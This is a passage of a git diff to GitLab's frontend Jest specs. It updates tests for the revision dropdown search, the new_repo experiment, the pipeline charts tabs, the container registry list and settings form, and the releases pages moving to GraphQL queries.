+ selectRevision: [[{ direction: 'from', revision: 'some-branch' }]],
+ });
+ });
});
});
diff --git a/spec/frontend/projects/compare/components/revision_dropdown_spec.js b/spec/frontend/projects/compare/components/revision_dropdown_spec.js
index 69d3167c99c..aab9607ceae 100644
--- a/spec/frontend/projects/compare/components/revision_dropdown_spec.js
+++ b/spec/frontend/projects/compare/components/revision_dropdown_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdown } from '@gitlab/ui';
+import { GlDropdown, GlSearchBoxByType } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import createFlash from '~/flash';
@@ -23,6 +23,10 @@ describe('RevisionDropdown component', () => {
...defaultProps,
...props,
},
+ stubs: {
+ GlDropdown,
+ GlSearchBoxByType,
+ },
});
};
@@ -36,6 +40,7 @@ describe('RevisionDropdown component', () => {
});
const findGlDropdown = () => wrapper.find(GlDropdown);
+ const findSearchBox = () => wrapper.find(GlSearchBoxByType);
it('sets hidden input', () => {
createComponent();
@@ -85,6 +90,40 @@ describe('RevisionDropdown component', () => {
expect(axios.get).toHaveBeenLastCalledWith(newRefsProjectPath);
});
+ describe('search', () => {
+ it('shows flash message on error', async () => {
+ axiosMock.onGet('some/invalid/path').replyOnce(404);
+
+ createComponent();
+
+ await wrapper.vm.searchBranchesAndTags();
+ expect(createFlash).toHaveBeenCalled();
+ });
+
+ it('makes request with search param', async () => {
+ jest.spyOn(axios, 'get').mockResolvedValue({
+ data: {
+ Branches: [],
+ Tags: [],
+ },
+ });
+
+ const mockSearchTerm = 'foobar';
+ createComponent();
+ findSearchBox().vm.$emit('input', mockSearchTerm);
+ await axios.waitForAll();
+
+ expect(axios.get).toHaveBeenCalledWith(
+ defaultProps.refsProjectPath,
+ expect.objectContaining({
+ params: {
+ search: mockSearchTerm,
+ },
+ }),
+ );
+ });
+ });
+
describe('GlDropdown component', () => {
it('renders props', () => {
createComponent();
diff --git a/spec/frontend/projects/experiment_new_project_creation/components/app_spec.js b/spec/frontend/projects/experiment_new_project_creation/components/app_spec.js
index b4ae50341d4..204e7a7c394 100644
--- a/spec/frontend/projects/experiment_new_project_creation/components/app_spec.js
+++ b/spec/frontend/projects/experiment_new_project_creation/components/app_spec.js
@@ -1,5 +1,6 @@
import { GlBreadcrumb } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { assignGitlabExperiment } from 'helpers/experimentation_helper';
import App from '~/projects/experiment_new_project_creation/components/app.vue';
import LegacyContainer from '~/projects/experiment_new_project_creation/components/legacy_container.vue';
import WelcomePage from '~/projects/experiment_new_project_creation/components/welcome.vue';
@@ -17,6 +18,57 @@ describe('Experimental new project creation app', () => {
wrapper = null;
});
+ const findWelcomePage = () => wrapper.findComponent(WelcomePage);
+ const findPanel = (panelName) =>
+ findWelcomePage()
+ .props()
+ .panels.find((p) => p.name === panelName);
+ const findPanelHeader = () => wrapper.find('h4');
+
+ describe('new_repo experiment', () => {
+ describe('when in the candidate variant', () => {
+ assignGitlabExperiment('new_repo', 'candidate');
+
+ it('has "repository" in the panel title', () => {
+ createComponent();
+
+ expect(findPanel('blank_project').title).toBe('Create blank project/repository');
+ });
+
+ describe('when hash is not empty on load', () => {
+ beforeEach(() => {
+ window.location.hash = '#blank_project';
+ createComponent();
+ });
+
+ it('renders "project/repository"', () => {
+ expect(findPanelHeader().text()).toBe('Create blank project/repository');
+ });
+ });
+ });
+
+ describe('when in the control variant', () => {
+ assignGitlabExperiment('new_repo', 'control');
+
+ it('has "project" in the panel title', () => {
+ createComponent();
+
+ expect(findPanel('blank_project').title).toBe('Create blank project');
+ });
+
+ describe('when hash is not empty on load', () => {
+ beforeEach(() => {
+ window.location.hash = '#blank_project';
+ createComponent();
+ });
+
+ it('renders "project"', () => {
+ expect(findPanelHeader().text()).toBe('Create blank project');
+ });
+ });
+ });
+ });
+
describe('with empty hash', () => {
beforeEach(() => {
createComponent();
diff --git a/spec/frontend/projects/experiment_new_project_creation/components/welcome_spec.js b/spec/frontend/projects/experiment_new_project_creation/components/welcome_spec.js
index f26d1a6d2a3..9fd1230806e 100644
--- a/spec/frontend/projects/experiment_new_project_creation/components/welcome_spec.js
+++ b/spec/frontend/projects/experiment_new_project_creation/components/welcome_spec.js
@@ -1,8 +1,13 @@
import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
import { mockTracking } from 'helpers/tracking_helper';
+import { TRACKING_CONTEXT_SCHEMA } from '~/experimentation/constants';
+import { getExperimentData } from '~/experimentation/utils';
import NewProjectPushTipPopover from '~/projects/experiment_new_project_creation/components/new_project_push_tip_popover.vue';
import WelcomePage from '~/projects/experiment_new_project_creation/components/welcome.vue';
+jest.mock('~/experimentation/utils', () => ({ getExperimentData: jest.fn() }));
+
describe('Welcome page', () => {
let wrapper;
let trackingSpy;
@@ -14,6 +19,7 @@ describe('Welcome page', () => {
beforeEach(() => {
trackingSpy = mockTracking('_category_', document, jest.spyOn);
trackingSpy.mockImplementation(() => {});
+ getExperimentData.mockReturnValue(undefined);
});
afterEach(() => {
@@ -22,14 +28,35 @@ describe('Welcome page', () => {
wrapper = null;
});
- it('tracks link clicks', () => {
+ it('tracks link clicks', async () => {
createComponent({ panels: [{ name: 'test', href: '#' }] });
- wrapper.find('a').trigger('click');
+ const link = wrapper.find('a');
+ link.trigger('click');
+ await nextTick();
return wrapper.vm.$nextTick().then(() => {
expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_tab', { label: 'test' });
});
});
+ it('adds new_repo experiment data if in experiment', async () => {
+ const mockExperimentData = 'data';
+ getExperimentData.mockReturnValue(mockExperimentData);
+
+ createComponent({ panels: [{ name: 'test', href: '#' }] });
+ const link = wrapper.find('a');
+ link.trigger('click');
+ await nextTick();
+ return wrapper.vm.$nextTick().then(() => {
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_tab', {
+ label: 'test',
+ context: {
+ data: mockExperimentData,
+ schema: TRACKING_CONTEXT_SCHEMA,
+ },
+ });
+ });
+ });
+
it('renders new project push tip popover', () => {
createComponent({ panels: [{ name: 'test', href: '#' }] });
diff --git a/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap b/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap
index fc51825f15b..c37f6415898 100644
--- a/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap
+++ b/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap
@@ -21,7 +21,11 @@ exports[`CiCdAnalyticsAreaChart matches the snapshot 1`] = `
option="[object Object]"
thresholds=""
width="0"
- />
+ >
+ <template />
+
+ <template />
+ </glareachart-stub>
</div>
</div>
`;
diff --git a/spec/frontend/projects/pipelines/charts/components/app_spec.js b/spec/frontend/projects/pipelines/charts/components/app_spec.js
index e8aace14db4..0cf05d4ac37 100644
--- a/spec/frontend/projects/pipelines/charts/components/app_spec.js
+++ b/spec/frontend/projects/pipelines/charts/components/app_spec.js
@@ -10,6 +10,7 @@ import PipelineCharts from '~/projects/pipelines/charts/components/pipeline_char
jest.mock('~/lib/utils/url_utility');
const DeploymentFrequencyChartsStub = { name: 'DeploymentFrequencyCharts', render: () => {} };
+const LeadTimeChartsStub = { name: 'LeadTimeCharts', render: () => {} };
describe('ProjectsPipelinesChartsApp', () => {
let wrapper;
@@ -21,10 +22,11 @@ describe('ProjectsPipelinesChartsApp', () => {
{},
{
provide: {
- shouldRenderDeploymentFrequencyCharts: false,
+ shouldRenderDoraCharts: true,
},
stubs: {
DeploymentFrequencyCharts: DeploymentFrequencyChartsStub,
+ LeadTimeCharts: LeadTimeChartsStub,
},
},
mountOptions,
@@ -32,37 +34,42 @@ describe('ProjectsPipelinesChartsApp', () => {
);
}
- beforeEach(() => {
- createComponent();
- });
-
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
const findGlTabs = () => wrapper.find(GlTabs);
- const findAllGlTab = () => wrapper.findAll(GlTab);
- const findGlTabAt = (i) => findAllGlTab().at(i);
+ const findAllGlTabs = () => wrapper.findAll(GlTab);
+ const findGlTabAtIndex = (index) => findAllGlTabs().at(index);
+ const findLeadTimeCharts = () => wrapper.find(LeadTimeChartsStub);
const findDeploymentFrequencyCharts = () => wrapper.find(DeploymentFrequencyChartsStub);
const findPipelineCharts = () => wrapper.find(PipelineCharts);
- it('renders the pipeline charts', () => {
- expect(findPipelineCharts().exists()).toBe(true);
- });
-
- describe('when shouldRenderDeploymentFrequencyCharts is true', () => {
+ describe('when all charts are available', () => {
beforeEach(() => {
- createComponent({ provide: { shouldRenderDeploymentFrequencyCharts: true } });
+ createComponent();
});
- it('renders the deployment frequency charts in a tab', () => {
+ it('renders tabs', () => {
expect(findGlTabs().exists()).toBe(true);
- expect(findGlTabAt(0).attributes('title')).toBe('Pipelines');
- expect(findGlTabAt(1).attributes('title')).toBe('Deployments');
+
+ expect(findGlTabAtIndex(0).attributes('title')).toBe('Pipelines');
+ expect(findGlTabAtIndex(1).attributes('title')).toBe('Deployments');
+ expect(findGlTabAtIndex(2).attributes('title')).toBe('Lead Time');
+ });
+
+ it('renders the pipeline charts', () => {
+ expect(findPipelineCharts().exists()).toBe(true);
+ });
+
+ it('renders the deployment frequency charts', () => {
expect(findDeploymentFrequencyCharts().exists()).toBe(true);
});
+ it('renders the lead time charts', () => {
+ expect(findLeadTimeCharts().exists()).toBe(true);
+ });
+
it('sets the tab and url when a tab is clicked', async () => {
let chartsPath;
setWindowLocation(`${TEST_HOST}/gitlab-org/gitlab-test/-/pipelines/charts`);
@@ -108,6 +115,7 @@ describe('ProjectsPipelinesChartsApp', () => {
describe('when provided with a query param', () => {
it.each`
chart | tab
+ ${'lead-time'} | ${'2'}
${'deployments'} | ${'1'}
${'pipelines'} | ${'0'}
${'fake'} | ${'0'}
@@ -118,7 +126,7 @@ describe('ProjectsPipelinesChartsApp', () => {
expect(name).toBe('chart');
return chart ? [chart] : [];
});
- createComponent({ provide: { shouldRenderDeploymentFrequencyCharts: true } });
+ createComponent();
expect(findGlTabs().attributes('value')).toBe(tab);
});
@@ -138,7 +146,7 @@ describe('ProjectsPipelinesChartsApp', () => {
return [];
});
- createComponent({ provide: { shouldRenderDeploymentFrequencyCharts: true } });
+ createComponent();
expect(findGlTabs().attributes('value')).toBe('0');
@@ -155,14 +163,17 @@ describe('ProjectsPipelinesChartsApp', () => {
});
});
- describe('when shouldRenderDeploymentFrequencyCharts is false', () => {
+ describe('when the dora charts are not available', () => {
beforeEach(() => {
- createComponent({ provide: { shouldRenderDeploymentFrequencyCharts: false } });
+ createComponent({ provide: { shouldRenderDoraCharts: false } });
});
- it('does not render the deployment frequency charts in a tab', () => {
+ it('does not render tabs', () => {
expect(findGlTabs().exists()).toBe(false);
- expect(findDeploymentFrequencyCharts().exists()).toBe(false);
+ });
+
+ it('renders the pipeline charts', () => {
+ expect(findPipelineCharts().exists()).toBe(true);
});
});
});
diff --git a/spec/frontend/registry/explorer/pages/list_spec.js b/spec/frontend/registry/explorer/pages/list_spec.js
index f7f207cc183..48acc06792d 100644
--- a/spec/frontend/registry/explorer/pages/list_spec.js
+++ b/spec/frontend/registry/explorer/pages/list_spec.js
@@ -1,9 +1,11 @@
import { GlSkeletonLoader, GlSprintf, GlAlert } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import getContainerRepositoriesQuery from 'shared_queries/container_registry/get_container_repositories.query.graphql';
+import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
import DeleteImage from '~/registry/explorer/components/delete_image.vue';
import CliCommands from '~/registry/explorer/components/list_page/cli_commands.vue';
import GroupEmptyState from '~/registry/explorer/components/list_page/group_empty_state.vue';
@@ -60,7 +62,7 @@ describe('List Page', () => {
const waitForApolloRequestRender = async () => {
jest.runOnlyPendingTimers();
await waitForPromises();
- await wrapper.vm.$nextTick();
+ await nextTick();
};
const mountComponent = ({
@@ -69,6 +71,7 @@ describe('List Page', () => {
detailsResolver = jest.fn().mockResolvedValue(graphQLProjectImageRepositoriesDetailsMock),
mutationResolver = jest.fn().mockResolvedValue(graphQLImageDeleteMock),
config = { isGroupPage: false },
+ query = {},
} = {}) => {
localVue.use(VueApollo);
@@ -95,6 +98,7 @@ describe('List Page', () => {
$toast,
$route: {
name: 'foo',
+ query,
},
...mocks,
},
@@ -158,9 +162,11 @@ describe('List Page', () => {
});
describe('isLoading is true', () => {
- it('shows the skeleton loader', () => {
+ it('shows the skeleton loader', async () => {
mountComponent();
+ await nextTick();
+
expect(findSkeletonLoader().exists()).toBe(true);
});
@@ -176,9 +182,11 @@ describe('List Page', () => {
expect(findCliCommands().exists()).toBe(false);
});
- it('title has the metadataLoading props set to true', () => {
+ it('title has the metadataLoading props set to true', async () => {
mountComponent();
+ await nextTick();
+
expect(findRegistryHeader().props('metadataLoading')).toBe(true);
});
});
@@ -311,7 +319,7 @@ describe('List Page', () => {
await selectImageForDeletion();
findDeleteImage().vm.$emit('success');
- await wrapper.vm.$nextTick();
+ await nextTick();
const alert = findDeleteAlert();
expect(alert.exists()).toBe(true);
@@ -327,7 +335,7 @@ describe('List Page', () => {
await selectImageForDeletion();
findDeleteImage().vm.$emit('error');
- await wrapper.vm.$nextTick();
+ await nextTick();
const alert = findDeleteAlert();
expect(alert.exists()).toBe(true);
@@ -343,12 +351,12 @@ describe('List Page', () => {
const doSearch = async () => {
await waitForApolloRequestRender();
findRegistrySearch().vm.$emit('filter:changed', [
- { type: 'filtered-search-term', value: { data: 'centos6' } },
+ { type: FILTERED_SEARCH_TERM, value: { data: 'centos6' } },
]);
findRegistrySearch().vm.$emit('filter:submit');
- await wrapper.vm.$nextTick();
+ await nextTick();
};
it('has a search box element', async () => {
@@ -373,7 +381,7 @@ describe('List Page', () => {
await waitForApolloRequestRender();
findRegistrySearch().vm.$emit('sorting:changed', { sort: 'asc' });
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(resolver).toHaveBeenCalledWith(expect.objectContaining({ sort: 'UPDATED_DESC' }));
});
@@ -416,7 +424,7 @@ describe('List Page', () => {
await waitForApolloRequestRender();
findImageList().vm.$emit('prev-page');
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(resolver).toHaveBeenCalledWith(
expect.objectContaining({ before: pageInfo.startCursor }),
@@ -436,7 +444,7 @@ describe('List Page', () => {
await waitForApolloRequestRender();
findImageList().vm.$emit('next-page');
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(resolver).toHaveBeenCalledWith(
expect.objectContaining({ after: pageInfo.endCursor }),
@@ -457,11 +465,10 @@ describe('List Page', () => {
expect(findDeleteModal().exists()).toBe(true);
});
- it('contains a description with the path of the item to delete', () => {
+ it('contains a description with the path of the item to delete', async () => {
findImageList().vm.$emit('delete', { path: 'foo' });
- return wrapper.vm.$nextTick().then(() => {
- expect(findDeleteModal().html()).toContain('foo');
- });
+ await nextTick();
+ expect(findDeleteModal().html()).toContain('foo');
});
});
@@ -497,4 +504,60 @@ describe('List Page', () => {
testTrackingCall('confirm_delete');
});
});
+
+ describe('url query string handling', () => {
+ const defaultQueryParams = {
+ search: [1, 2],
+ sort: 'asc',
+ orderBy: 'CREATED',
+ };
+ const queryChangePayload = 'foo';
+
+ it('query:updated event pushes the new query to the router', async () => {
+ const push = jest.fn();
+ mountComponent({ mocks: { $router: { push } } });
+
+ await nextTick();
+
+ findRegistrySearch().vm.$emit('query:changed', queryChangePayload);
+
+ expect(push).toHaveBeenCalledWith({ query: queryChangePayload });
+ });
+
+ it('graphql API call has the variables set from the URL', async () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLImageListMock);
+ mountComponent({ query: defaultQueryParams, resolver });
+
+ await nextTick();
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({
+ name: 1,
+ sort: 'CREATED_ASC',
+ }),
+ );
+ });
+
+ it.each`
+ sort | orderBy | search | payload
+ ${'ASC'} | ${undefined} | ${undefined} | ${{ sort: 'UPDATED_ASC' }}
+ ${undefined} | ${'bar'} | ${undefined} | ${{ sort: 'BAR_DESC' }}
+ ${'ASC'} | ${'bar'} | ${undefined} | ${{ sort: 'BAR_ASC' }}
+ ${undefined} | ${undefined} | ${undefined} | ${{}}
+ ${undefined} | ${undefined} | ${['one']} | ${{ name: 'one' }}
+ ${undefined} | ${undefined} | ${['one', 'two']} | ${{ name: 'one' }}
+ ${undefined} | ${'UPDATED'} | ${['one', 'two']} | ${{ name: 'one', sort: 'UPDATED_DESC' }}
+ ${'ASC'} | ${'UPDATED'} | ${['one', 'two']} | ${{ name: 'one', sort: 'UPDATED_ASC' }}
+ `(
+ 'with sort equal to $sort, orderBy equal to $orderBy, search set to $search API call has the variables set as $payload',
+ async ({ sort, orderBy, search, payload }) => {
+ const resolver = jest.fn().mockResolvedValue({ sort, orderBy });
+ mountComponent({ query: { sort, orderBy, search }, resolver });
+
+ await nextTick();
+
+ expect(resolver).toHaveBeenCalledWith(expect.objectContaining(payload));
+ },
+ );
+ });
});
diff --git a/spec/frontend/registry/settings/components/settings_form_spec.js b/spec/frontend/registry/settings/components/settings_form_spec.js
index 7527910ad59..ad94da6ca66 100644
--- a/spec/frontend/registry/settings/components/settings_form_spec.js
+++ b/spec/frontend/registry/settings/components/settings_form_spec.js
@@ -77,33 +77,47 @@ describe('Settings Form', () => {
});
};
- const mountComponentWithApollo = ({ provide = defaultProvidedValues, resolver } = {}) => {
+ const mountComponentWithApollo = ({
+ provide = defaultProvidedValues,
+ mutationResolver,
+ queryPayload = expirationPolicyPayload(),
+ } = {}) => {
localVue.use(VueApollo);
const requestHandlers = [
- [updateContainerExpirationPolicyMutation, resolver],
- [expirationPolicyQuery, jest.fn().mockResolvedValue(expirationPolicyPayload())],
+ [updateContainerExpirationPolicyMutation, mutationResolver],
+ [expirationPolicyQuery, jest.fn().mockResolvedValue(queryPayload)],
];
fakeApollo = createMockApollo(requestHandlers);
+ // This component does not do the query directly, but we need a proper cache to update
fakeApollo.defaultClient.cache.writeQuery({
query: expirationPolicyQuery,
variables: {
projectPath: provide.projectPath,
},
- ...expirationPolicyPayload(),
+ ...queryPayload,
});
+ // we keep in sync what prop we pass to the component with the cache
+ const {
+ data: {
+ project: { containerExpirationPolicy: value },
+ },
+ } = queryPayload;
+
mountComponent({
provide,
+ props: {
+ ...defaultProps,
+ value,
+ },
config: {
localVue,
apolloProvider: fakeApollo,
},
});
-
- return requestHandlers.map((resolvers) => resolvers[1]);
};
beforeEach(() => {
@@ -253,19 +267,44 @@ describe('Settings Form', () => {
expect(findSaveButton().attributes('type')).toBe('submit');
});
- it('dispatches the correct apollo mutation', async () => {
- const [expirationPolicyMutationResolver] = mountComponentWithApollo({
- resolver: jest.fn().mockResolvedValue(expirationPolicyMutationPayload()),
+ it('dispatches the correct apollo mutation', () => {
+ const mutationResolver = jest.fn().mockResolvedValue(expirationPolicyMutationPayload());
+ mountComponentWithApollo({
+ mutationResolver,
});
findForm().trigger('submit');
- await expirationPolicyMutationResolver();
- expect(expirationPolicyMutationResolver).toHaveBeenCalled();
+
+ expect(mutationResolver).toHaveBeenCalled();
+ });
+
+ it('saves the default values when a value is missing did not change the default options', async () => {
+ const mutationResolver = jest.fn().mockResolvedValue(expirationPolicyMutationPayload());
+ mountComponentWithApollo({
+ mutationResolver,
+ queryPayload: expirationPolicyPayload({ keepN: null, cadence: null, olderThan: null }),
+ });
+
+ await waitForPromises();
+
+ findForm().trigger('submit');
+
+ expect(mutationResolver).toHaveBeenCalledWith({
+ input: {
+ cadence: 'EVERY_DAY',
+ enabled: true,
+ keepN: 'TEN_TAGS',
+ nameRegex: 'asdasdssssdfdf',
+ nameRegexKeep: 'sss',
+ olderThan: 'NINETY_DAYS',
+ projectPath: 'path',
+ },
+ });
});
it('tracks the submit event', () => {
mountComponentWithApollo({
- resolver: jest.fn().mockResolvedValue(expirationPolicyMutationPayload()),
+ mutationResolver: jest.fn().mockResolvedValue(expirationPolicyMutationPayload()),
});
findForm().trigger('submit');
@@ -274,12 +313,12 @@ describe('Settings Form', () => {
});
it('show a success toast when submit succeed', async () => {
- const handlers = mountComponentWithApollo({
- resolver: jest.fn().mockResolvedValue(expirationPolicyMutationPayload()),
+ mountComponentWithApollo({
+ mutationResolver: jest.fn().mockResolvedValue(expirationPolicyMutationPayload()),
});
findForm().trigger('submit');
- await Promise.all(handlers);
+ await waitForPromises();
await wrapper.vm.$nextTick();
expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(UPDATE_SETTINGS_SUCCESS_MESSAGE, {
@@ -290,14 +329,14 @@ describe('Settings Form', () => {
describe('when submit fails', () => {
describe('user recoverable errors', () => {
it('when there is an error is shown in a toast', async () => {
- const handlers = mountComponentWithApollo({
- resolver: jest
+ mountComponentWithApollo({
+ mutationResolver: jest
.fn()
.mockResolvedValue(expirationPolicyMutationPayload({ errors: ['foo'] })),
});
findForm().trigger('submit');
- await Promise.all(handlers);
+ await waitForPromises();
await wrapper.vm.$nextTick();
expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('foo', {
@@ -308,13 +347,12 @@ describe('Settings Form', () => {
describe('global errors', () => {
it('shows an error', async () => {
- const handlers = mountComponentWithApollo({
- resolver: jest.fn().mockRejectedValue(expirationPolicyMutationPayload()),
+ mountComponentWithApollo({
+ mutationResolver: jest.fn().mockRejectedValue(expirationPolicyMutationPayload()),
});
findForm().trigger('submit');
- await Promise.all(handlers);
- await wrapper.vm.$nextTick();
+ await waitForPromises();
await wrapper.vm.$nextTick();
expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(UPDATE_SETTINGS_ERROR_MESSAGE, {
diff --git a/spec/frontend/releases/components/app_edit_new_spec.js b/spec/frontend/releases/components/app_edit_new_spec.js
index 1e55ab8f9e4..65ed6d6166f 100644
--- a/spec/frontend/releases/components/app_edit_new_spec.js
+++ b/spec/frontend/releases/components/app_edit_new_spec.js
@@ -50,7 +50,7 @@ describe('Release edit/new component', () => {
merge(
{
modules: {
- detail: {
+ editNew: {
namespaced: true,
actions,
state,
@@ -112,7 +112,7 @@ describe('Release edit/new component', () => {
it('renders the description text at the top of the page', () => {
expect(wrapper.find('.js-subtitle-text').text()).toBe(
- 'Releases are based on Git tags. We recommend tags that use semantic versioning, for example v1.0, v2.0-pre.',
+ 'Releases are based on Git tags. We recommend tags that use semantic versioning, for example v1.0.0, v2.1.0-pre.',
);
});
@@ -168,7 +168,7 @@ describe('Release edit/new component', () => {
await factory({
store: {
modules: {
- detail: {
+ editNew: {
getters: {
isExistingRelease: () => false,
},
@@ -207,7 +207,7 @@ describe('Release edit/new component', () => {
await factory({
store: {
modules: {
- detail: {
+ editNew: {
getters: {
isValid: () => true,
},
@@ -227,7 +227,7 @@ describe('Release edit/new component', () => {
await factory({
store: {
modules: {
- detail: {
+ editNew: {
getters: {
isValid: () => false,
},
diff --git a/spec/frontend/releases/components/app_index_spec.js b/spec/frontend/releases/components/app_index_spec.js
index 2b5270e29d6..7955b079cbc 100644
--- a/spec/frontend/releases/components/app_index_spec.js
+++ b/spec/frontend/releases/components/app_index_spec.js
@@ -8,7 +8,7 @@ import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import ReleasesApp from '~/releases/components/app_index.vue';
import ReleasesPagination from '~/releases/components/releases_pagination.vue';
import createStore from '~/releases/stores';
-import createListModule from '~/releases/stores/modules/list';
+import createIndexModule from '~/releases/stores/modules/index';
import { pageInfoHeadersWithoutPagination, pageInfoHeadersWithPagination } from '../mock_data';
jest.mock('~/lib/utils/common_utils', () => ({
@@ -41,15 +41,15 @@ describe('Releases App ', () => {
};
const createComponent = (stateUpdates = {}) => {
- const listModule = createListModule({
+ const indexModule = createIndexModule({
...defaultInitialState,
...stateUpdates,
});
- fetchReleaseSpy = jest.spyOn(listModule.actions, 'fetchReleases');
+ fetchReleaseSpy = jest.spyOn(indexModule.actions, 'fetchReleases');
const store = createStore({
- modules: { list: listModule },
+ modules: { index: indexModule },
featureFlags: {
graphqlReleaseData: true,
graphqlReleasesPage: false,
diff --git a/spec/frontend/releases/components/app_show_spec.js b/spec/frontend/releases/components/app_show_spec.js
index 5caea395f0a..425cb9d0059 100644
--- a/spec/frontend/releases/components/app_show_spec.js
+++ b/spec/frontend/releases/components/app_show_spec.js
@@ -1,63 +1,176 @@
import { shallowMount } from '@vue/test-utils';
-import Vuex from 'vuex';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
import { getJSONFixture } from 'helpers/fixtures';
-import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import createFlash from '~/flash';
import ReleaseShowApp from '~/releases/components/app_show.vue';
import ReleaseBlock from '~/releases/components/release_block.vue';
import ReleaseSkeletonLoader from '~/releases/components/release_skeleton_loader.vue';
+import oneReleaseQuery from '~/releases/queries/one_release.query.graphql';
-const originalRelease = getJSONFixture('api/releases/release.json');
+jest.mock('~/flash');
+
+const oneReleaseQueryResponse = getJSONFixture(
+ 'graphql/releases/queries/one_release.query.graphql.json',
+);
+
+Vue.use(VueApollo);
+
+const EXPECTED_ERROR_MESSAGE = 'Something went wrong while getting the release details.';
+const MOCK_FULL_PATH = 'project/full/path';
+const MOCK_TAG_NAME = 'test-tag-name';
describe('Release show component', () => {
let wrapper;
- let release;
- let actions;
- beforeEach(() => {
- release = convertObjectPropsToCamelCase(originalRelease);
- });
-
- const factory = (state) => {
- actions = {
- fetchRelease: jest.fn(),
- };
-
- const store = new Vuex.Store({
- modules: {
- detail: {
- namespaced: true,
- actions,
- state,
- },
+ const createComponent = ({ apolloProvider }) => {
+ wrapper = shallowMount(ReleaseShowApp, {
+ provide: {
+ fullPath: MOCK_FULL_PATH,
+ tagName: MOCK_TAG_NAME,
},
+ apolloProvider,
});
-
- wrapper = shallowMount(ReleaseShowApp, { store });
};
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
const findLoadingSkeleton = () => wrapper.find(ReleaseSkeletonLoader);
const findReleaseBlock = () => wrapper.find(ReleaseBlock);
- it('calls fetchRelease when the component is created', () => {
- factory({ release });
- expect(actions.fetchRelease).toHaveBeenCalledTimes(1);
+ const expectLoadingIndicator = () => {
+ it('renders a loading indicator', () => {
+ expect(findLoadingSkeleton().exists()).toBe(true);
+ });
+ };
+
+ const expectNoLoadingIndicator = () => {
+ it('does not render a loading indicator', () => {
+ expect(findLoadingSkeleton().exists()).toBe(false);
+ });
+ };
+
+ const expectNoFlash = () => {
+ it('does not show a flash message', () => {
+ expect(createFlash).not.toHaveBeenCalled();
+ });
+ };
+
+ const expectFlashWithMessage = (message) => {
+ it(`shows a flash message that reads "${message}"`, () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalledWith({
+ message,
+ captureError: true,
+ error: expect.any(Error),
+ });
+ });
+ };
+
+ const expectReleaseBlock = () => {
+ it('renders a release block', () => {
+ expect(findReleaseBlock().exists()).toBe(true);
+ });
+ };
+
+ const expectNoReleaseBlock = () => {
+ it('does not render a release block', () => {
+ expect(findReleaseBlock().exists()).toBe(false);
+ });
+ };
+
+ describe('GraphQL query variables', () => {
+ const queryHandler = jest.fn().mockResolvedValueOnce(oneReleaseQueryResponse);
+
+ beforeEach(() => {
+ const apolloProvider = createMockApollo([[oneReleaseQuery, queryHandler]]);
+
+ createComponent({ apolloProvider });
+ });
+
+ it('builds a GraphQL with the expected variables', () => {
+ expect(queryHandler).toHaveBeenCalledTimes(1);
+ expect(queryHandler).toHaveBeenCalledWith({
+ fullPath: MOCK_FULL_PATH,
+ tagName: MOCK_TAG_NAME,
+ });
+ });
});
- it('shows a loading skeleton and hides the release block while the API call is in progress', () => {
- factory({ isFetchingRelease: true });
- expect(findLoadingSkeleton().exists()).toBe(true);
- expect(findReleaseBlock().exists()).toBe(false);
+ describe('when the component is loading data', () => {
+ beforeEach(() => {
+ const apolloProvider = createMockApollo([
+ [oneReleaseQuery, jest.fn().mockReturnValueOnce(new Promise(() => {}))],
+ ]);
+
+ createComponent({ apolloProvider });
+ });
+
+ expectLoadingIndicator();
+ expectNoFlash();
+ expectNoReleaseBlock();
});
- it('hides the loading skeleton and shows the release block when the API call finishes successfully', () => {
- factory({ isFetchingRelease: false });
- expect(findLoadingSkeleton().exists()).toBe(false);
- expect(findReleaseBlock().exists()).toBe(true);
+ describe('when the component has successfully loaded the release', () => {
+ beforeEach(() => {
+ const apolloProvider = createMockApollo([
+ [oneReleaseQuery, jest.fn().mockResolvedValueOnce(oneReleaseQueryResponse)],
+ ]);
+
+ createComponent({ apolloProvider });
+ });
+
+ expectNoLoadingIndicator();
+ expectNoFlash();
+ expectReleaseBlock();
});
- it('hides both the loading skeleton and the release block when the API call fails', () => {
- factory({ fetchError: new Error('Uh oh') });
- expect(findLoadingSkeleton().exists()).toBe(false);
- expect(findReleaseBlock().exists()).toBe(false);
+ describe('when the request succeeded, but the returned "project" key was null', () => {
+ beforeEach(() => {
+ const apolloProvider = createMockApollo([
+ [oneReleaseQuery, jest.fn().mockResolvedValueOnce({ data: { project: null } })],
+ ]);
+
+ createComponent({ apolloProvider });
+ });
+
+ expectNoLoadingIndicator();
+ expectFlashWithMessage(EXPECTED_ERROR_MESSAGE);
+ expectNoReleaseBlock();
+ });
+
+ describe('when the request succeeded, but the returned "project.release" key was null', () => {
+ beforeEach(() => {
+ const apolloProvider = createMockApollo([
+ [
+ oneReleaseQuery,
